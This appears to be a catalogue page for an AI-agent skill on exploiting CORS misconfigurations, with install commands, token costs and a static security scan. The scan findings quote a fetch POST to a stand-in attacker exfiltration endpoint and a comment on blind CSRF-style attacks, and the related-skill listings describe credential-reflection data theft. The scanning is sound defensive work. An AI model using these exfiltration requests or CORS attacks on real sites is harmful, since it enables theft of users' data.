Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add blacklanternsecurity/red-run --skill cors-misconfigurationgit clone --depth 1 https://github.com/blacklanternsecurity/red-runWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/blacklanternsecurity/red-run/cors-misconfiguration)<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/cors-misconfiguration"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/cors-misconfiguration/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/cors-misconfiguration"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/cors-misconfiguration.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00023 | $0.03975 |
| Opus 5 | $0.00012 | $0.01988 |
| Sonnet 5 | $0.00005 | $0.00795 |
| Haiku 4.5 | $0.00002 | $0.00398 |
Grade C, and why
cors-misconfiguration scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Hidden instructionshighPrompt injection
Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.
<!-- This POST will be SENT (server processes it) even without CORS headers. The browser just prevents reading the response. Useful for blind CSRF-style attacks where you don't need the response. --> Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch('https://ATTACKER_SERVER/exfil', { method: 'POST', Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
- curl The source is not reproduced here
Licensed GPL-3.0
The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 527 lines · 23 tokens per session scan C 54b222aca6ac
cors-misconfiguration is a skill published in the GitHub repository blacklanternsecurity/red-run (267 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 23 tokens to every session and 3,975 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it C with 3 findings (hidden instructions, sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
hunt-cors
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive…
cors-chain-automation
Use when a bounded list of authorized API endpoints needs consistent CORS triage before browser validation.
cors-credential-wordpress
Exploit WP CORS credential reflection for data theft.
recon-sector
Parameterized sector recon using sector database.
wordpress-cors-xmlrpc-rce-chain
Use when verified WordPress CORS, XML-RPC, role, upload, and execution behaviors may form one authorized attack path.
hunt-nextjs
Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js…